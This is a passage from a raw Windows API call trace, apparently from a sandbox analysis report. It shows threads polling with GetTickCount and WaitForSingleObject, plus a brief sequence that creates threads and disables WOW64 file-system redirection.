returned 0x113f023 [0195.650] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0195.887] GetTickCount () returned 0x113f11d [0195.887] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0196.204] GetTickCount () returned 0x113f255 [0196.204] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0196.753] GetTickCount () returned 0x113f478 [0196.753] GetTickCount () returned 0x113f478 [0196.753] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0196.976] GetTickCount () returned 0x113f553 [0196.976] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0197.372] GetTickCount () returned 0x113f6e9 [0197.372] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0197.624] GetTickCount () returned 0x113f7e3 [0197.624] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0197.824] GetTickCount () returned 0x113f8ae [0197.824] GetTickCount () returned 0x113f8ae [0197.824] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0198.064] GetTickCount () returned 0x113f998 [0198.064] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0198.188] GetTickCount () returned 0x113fa15 [0198.188] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0198.611] GetTickCount () returned 0x113fbbb [0198.611] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0199.233] GetTickCount () returned 0x113fe2c [0199.233] GetTickCount () returned 0x113fe2c [0199.233] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0199.544] GetTickCount () returned 0x113ff65 [0199.544] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0199.864] GetTickCount () returned 0x114009d [0199.864] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0200.036] GetTickCount () returned 0x1140149 [0200.036] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0200.429] GetTickCount () returned 0x11402d0 [0200.429] GetTickCount () returned 0x11402d0 [0200.429] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0200.657] GetTickCount () returned 0x11403ba [0200.657] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0200.816] GetTickCount () returned 0x1140456 [0200.816] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0201.187] GetTickCount () returned 0x11405be [0201.187] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0201.428] GetTickCount () returned 0x11406b8 [0201.428] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0201.650] GetTickCount () returned 0x1140793 [0201.650] GetTickCount () returned 0x1140793 [0201.650] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0201.867] GetTickCount () returned 0x114086d [0201.867] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0202.089] GetTickCount () returned 0x1140948 [0202.089] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0202.310] GetTickCount () returned 0x1140a23 [0202.310] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0202.692] GetTickCount () returned 0x1140ba9 [0202.692] GetTickCount () returned 0x1140ba9 [0202.692] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0203.153] GetTickCount () returned 0x1140d6f [0203.153] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0203.358] GetTickCount () returned 0x1140e3a [0203.358] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0203.700] GetTickCount () returned 0x1140f91 [0203.701] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0203.978] GetTickCount () returned 0x11410ab [0203.978] GetTickCount () returned 0x11410ab [0203.979] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0204.275] GetTickCount () returned 0x11411d4 [0204.275] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0204.655] GetTickCount () returned 0x114134b [0204.655] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0205.019] GetTickCount () returned 0x11414c2 [0205.019] GetTickCount () returned 0x11414c2 [0205.019] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0205.550] GetTickCount () returned 0x11416d5 [0205.550] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0205.707] GetTickCount () returned 0x1141771 [0205.707] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0206.201] GetTickCount () returned 0x1141955 [0206.201] GetTickCount () returned 0x1141955 [0206.201] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0206.572] GetTickCount () returned 0x1141acc [0206.572] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0206.948] GetTickCount () returned 0x1141c43 [0206.948] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0207.881] GetTickCount () returned 0x1141fed [0207.881] GetTickCount () returned 0x1141fed [0207.881] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0208.433] GetTickCount () returned 0x1142210 [0208.433] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0208.923] GetTickCount () returned 0x1142404 [0208.923] GetTickCount () returned 0x1142404 [0208.923] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0209.109] GetTickCount () returned 0x11424b0 [0209.109] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0209.305] GetTickCount () returned 0x114257b [0209.305] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0209.473] GetTickCount () returned 0x1142627 [0209.473] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0209.632] GetTickCount () returned 0x11426c3 [0209.632] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0209.969] GetTickCount () returned 0x114280b [0209.969] GetTickCount () returned 0x114280b [0209.969] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0210.307] GetTickCount () returned 0x1142963 [0210.307] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0210.469] GetTickCount () returned 0x11429ff [0210.469] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0210.652] GetTickCount () returned 0x1142abb [0210.652] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0210.804] GetTickCount () returned 0x1142b57 [0210.804] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0210.988] GetTickCount () returned 0x1142c12 [0210.988] GetTickCount () returned 0x1142c12 [0210.988] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0211.106] GetTickCount () returned 0x1142c80 [0211.106] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0211.520] GetTickCount () returned 0x1142e26 [0211.520] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0211.781] GetTickCount () returned 0x1142f2f [0211.781] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0212.208] GetTickCount () returned 0x11430c5 [0212.208] GetTickCount () returned 0x11430c5 [0212.208] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0213.062] GetTickCount () returned 0x1143421 [0213.062] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0213.408] GetTickCount () returned 0x1143579 [0213.408] GetTickCount () returned 0x1143579 [0213.408] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0213.796] GetTickCount () returned 0x11436ff [0213.796] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0214.070] GetTickCount () returned 0x1143818 [0214.070] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0214.576] GetTickCount () returned 0x1143a0c [0214.576] GetTickCount () returned 0x1143a0c [0214.576] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0214.867] GetTickCount () returned 0x1143b35 [0214.867] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0215.396] GetTickCount () returned 0x1143d39 [0215.396] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0215.757] GetTickCount () returned 0x1143eb0 [0215.759] GetTickCount () returned 0x1143eb0 [0215.759] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0216.088] GetTickCount () returned 0x1143ff8 [0216.088] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0216.501] GetTickCount () returned 0x11441fc [0216.600] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0217.043] GetTickCount () returned 0x11443b1 [0217.043] GetTickCount () returned 0x11443b1 [0217.043] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0217.291] GetTickCount () returned 0x11444ab [0217.291] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0217.494] GetTickCount () returned 0x1144567 [0217.494] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0217.667] GetTickCount () returned 0x1144622 [0217.667] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0217.888] GetTickCount () returned 0x11446fd [0217.888] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) Thread: id = 38 os_tid = 0xe24 [0174.185] GetTickCount () returned 0x1139c46 [0174.185] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x24) returned 0x47c9d0 [0174.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x47c9d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc [0174.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x47c9d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0 [0174.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x47c9d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0174.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x47c9d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0174.189] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a330 [0174.189] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a330, Size=0x20) returned 0x45da10 [0174.189] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a348 [0174.189] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a348, Size=0x20) returned 0x45dd30 [0174.189] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0174.189] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0174.190] Wow64DisableWow64FsRedirection (in: OldValue=0x295ff7c | out: OldValue=0x295ff7c*=0x0) returned 1 [0174.190] lstrlenW (lpString="kernel32.dll") returned 12 [0174.190] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45da10 | out: hHeap=0x420000) returned 1 [0174.190] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.190] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dd30 | out: hHeap=0x420000) returned 1 [0174.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x4abbb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0174.190] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0174.470] GetTickCount () returned 0x1139d6f [0174.470] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0174.818] GetTickCount () returned 0x1139ec6 [0174.818] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0175.020] GetTickCount () returned 0x1139f92 [0175.020] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0175.341] GetTickCount () returned 0x113a0ca [0175.341] GetTickCount () returned 0x113a0ca [0175.341] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0175.651] GetTickCount () returned 0x113a203 [0175.651] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0175.947] GetTickCount () returned 0x113a32b [0175.947] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0176.366] GetTickCount () returned 0x113a4d1 [0176.366] GetTickCount () returned 0x113a4d1 [0176.366] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0176.741] GetTickCount () returned 0x113a648 [0176.741] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0177.150] GetTickCount () returned 0x113a7df [0177.150] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0177.496] GetTickCount () returned 0x113a936 [0177.496] GetTickCount () returned 0x113a936 [0177.496] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0178.112] GetTickCount () returned 0x113aba7 [0178.112] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0178.565] GetTickCount () returned 0x113ad5d [0178.565] GetTickCount () returned 0x113ad5d [0178.565] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0179.050] GetTickCount () returned 0x113af51 [0179.050] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0179.497] GetTickCount () returned 0x113b106 [0179.497] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0179.775] GetTickCount () returned 0x113b220 [0179.775] GetTickCount () returned 0x113b220 [0179.775] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0180.088] GetTickCount () returned 0x113b358 [0180.088] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0180.484] GetTickCount () returned 0x113b4ee [0180.484] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0180.688] GetTickCount () returned 0x113b5b9 [0180.695] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0180.969] GetTickCount () returned 0x113b6d3 [0180.970] GetTickCount () returned 0x113b6d3 [0180.970] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0181.244] GetTickCount () returned 0x113b7dc [0181.244] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0181.443] GetTickCount () returned 0x113b8a7 [0181.443] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0181.642] GetTickCount () returned 0x113b973 [0181.642] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0182.093] GetTickCount () returned 0x113bb38 [0182.093] GetTickCount () returned 0x113bb38 [0182.093] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0182.617] GetTickCount () returned 0x113bd3b [0182.617] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0182.740] GetTickCount () returned 0x113bdb8 [0182.740] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0182.919] GetTickCount () returned 0x113be64 [0182.919] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0183.150] GetTickCount () returned 0x113bf4f [0183.150] GetTickCount () returned 0x113bf4f [0183.151] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0183.390] GetTickCount () returned 0x113c049 [0183.391] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0183.518] GetTickCount () returned 0x113c0c6 [0183.518] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0183.843] GetTickCount () returned 0x113c20e [0183.843] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0184.019] GetTickCount () returned 0x113c2ba [0184.019] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0184.275] GetTickCount () returned 0x113c3b4 [0184.275] GetTickCount () returned 0x113c3b4 [0184.275] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0184.525] GetTickCount () returned 0x113c4ae [0184.525] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0184.653] GetTickCount () returned 0x113c53a [0184.653] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0184.900] GetTickCount () returned 0x113c625 [0184.900] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0185.162] GetTickCount () returned 0x113c72e [0185.162] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0185.453] GetTickCount () returned 0x113c857 [0185.453] GetTickCount () returned 0x113c857 [0185.453] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0185.782] GetTickCount () returned 0x113c99f [0185.782] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0186.062] GetTickCount () returned 0x113cab8 [0186.062] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0186.307] GetTickCount () returned 0x113cba3 [0186.307] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0186.836] GetTickCount () returned 0x113cdb6 [0186.837] GetTickCount () returned 0x113cdb6 [0186.837] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0187.247] GetTickCount () returned 0x113cf5c [0187.247] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0187.481] GetTickCount () returned 0x113d037 [0187.481] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0187.910] GetTickCount () returned 0x113d1ec [0187.910] GetTickCount () returned 0x113d1ec [0187.910] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0188.313] GetTickCount () returned 0x113d382 [0188.313] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0188.513] GetTickCount () returned 0x113d44e [0188.513] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0188.800] GetTickCount () returned 0x113d567 [0188.800] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0188.975] GetTickCount () returned 0x113d613 [0188.975] GetTickCount () returned 0x113d613 [0188.975] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0189.264] GetTickCount () returned 0x113d73c [0189.264] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0189.427] GetTickCount () returned 0x113d7d8 [0189.427] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0190.044] GetTickCount () returned 0x113da39 [0190.044] GetTickCount () returned 0x113da39 [0190.044] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0190.744] GetTickCount () returned 0x113dcf8 [0190.744] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0191.279] GetTickCount () returned 0x113df1b [0191.279] GetTickCount () returned 0x113df1b [0191.279] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0191.514] GetTickCount () returned 0x113e006 [0191.514] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0191.848] GetTickCount () returned 0x113e14e [0191.848] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0192.040] GetTickCount () returned 0x113e209 [0192.040] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0192.474] GetTickCount () returned 0x113e3bf [0192.474] GetTickCount () returned 0x113e3bf [0192.474] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0192.692] GetTickCount () returned 0x113e499 [0192.692] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0193.062] GetTickCount () returned 0x113e610 [0193.062] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0193.360] GetTickCount () returned 0x113e739 [0193.360] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0193.675] GetTickCount () returned 0x113e872 [0193.675] GetTickCount () returned 0x113e872 [0193.677] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0193.819] GetTickCount () returned 0x113e8fe [0193.819] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0193.943] GetTickCount () returned 0x113e97b [0193.943] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0194.160] GetTickCount () returned 0x113ea56 [0194.160] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0194.533] GetTickCount () returned 0x113ebdd [0194.545] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0194.895] GetTickCount () returned 0x113ed35 [0194.895] GetTickCount () returned 0x113ed35 [0194.895] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0195.007] GetTickCount () returned 0x113eda2 [0195.007] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0195.260] GetTickCount () returned 0x113ee9c [0195.260] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0195.650] GetTickCount () returned 0x113f023 [0195.650] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0195.887] GetTickCount () returned 0x113f11d [0195.887] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0196.181] GetTickCount () returned 0x113f236 [0196.203] GetTickCount () returned 0x113f255 [0196.203] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0196.754] GetTickCount () returned 0x113f478 [0196.754] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0196.975] GetTickCount () returned 0x113f553 [0196.975] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0197.373] GetTickCount () returned 0x113f6e9 [0197.373] GetTickCount () returned 0x113f6e9 [0197.373] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0197.624] GetTickCount () returned 0x113f7e3 [0197.624] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0197.824] GetTickCount () returned 0x113f8ae [0197.824] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0198.065] GetTickCount () returned 0x113f998 [0198.065] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0198.187] GetTickCount () returned 0x113fa15 [0198.187] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0198.611] GetTickCount () returned 0x113fbbb [0198.611] GetTickCount () returned 0x113fbbb [0198.611] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0199.233] GetTickCount () returned 0x113fe2c [0199.233] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0199.544] GetTickCount () returned 0x113ff65 [0199.544] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0199.878] GetTickCount () returned 0x11400ad [0199.878] GetTickCount () returned 0x11400ad [0199.878] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0200.036] GetTickCount () returned 0x1140149 [0200.036] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0200.429] GetTickCount () returned 0x11402d0 [0200.429] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0200.657] GetTickCount () returned 0x11403ba [0200.657] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0200.816] GetTickCount () returned 0x1140456 [0200.816] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0201.199] GetTickCount () returned 0x11405cd [0201.199] GetTickCount () returned 0x11405cd [0201.199] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0201.427] GetTickCount () returned 0x11406b8 [0201.427] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0201.650] GetTickCount () returned 0x1140793 [0201.650] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0201.866] GetTickCount () returned 0x114086d [0201.867] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0202.089] GetTickCount () returned 0x1140948 [0202.089] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0202.310] GetTickCount () returned 0x1140a23 [0202.310] GetTickCount () returned 0x1140a23 [0202.310] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0202.693] GetTickCount () returned 0x1140ba9 [0202.693] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0203.153] GetTickCount () returned 0x1140d6f [0203.153] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0203.359] GetTickCount () returned 0x1140e3a [0203.359] GetTickCount () returned 0x1140e3a [0203.359] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0203.701] GetTickCount () returned 0x1140f91 [0203.701] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0203.978] GetTickCount () returned 0x11410ab [0203.978] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0204.275] GetTickCount () returned 0x11411d4 [0204.275] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0204.655] GetTickCount () returned 0x114134b [0204.655] GetTickCount () returned 0x114134b [0204.655] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0205.018] GetTickCount () returned 0x11414c2 [0205.019] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0205.550] GetTickCount () returned 0x11416d5 [0205.550] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0205.708] GetTickCount () returned 0x1141771 [0205.708] GetTickCount () returned 0x1141771 [0205.708] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0206.201] GetTickCount () returned 0x1141955 [0206.201] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0206.572] GetTickCount () returned 0x1141acc [0206.572] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0206.948] GetTickCount () returned 0x1141c43 [0206.948] GetTickCount () returned 0x1141c43 [0206.948] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0207.881] GetTickCount () returned 0x1141fed [0207.881] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0208.433] GetTickCount () returned 0x1142210 [0208.433] GetTickCount () returned 0x1142210 [0208.433] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0208.923] GetTickCount () returned 0x1142404 [0208.923] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0209.109] GetTickCount () returned 0x11424b0 [0209.109] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0209.302] GetTickCount () returned 0x114257b [0209.304] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0209.473] GetTickCount () returned 0x1142627 [0209.473] GetTickCount () returned 0x1142627 [0209.473] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0209.632] GetTickCount () returned 0x11426c3 [0209.632] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0209.969] GetTickCount () returned 0x114280b [0209.969] WaitForSingleObject 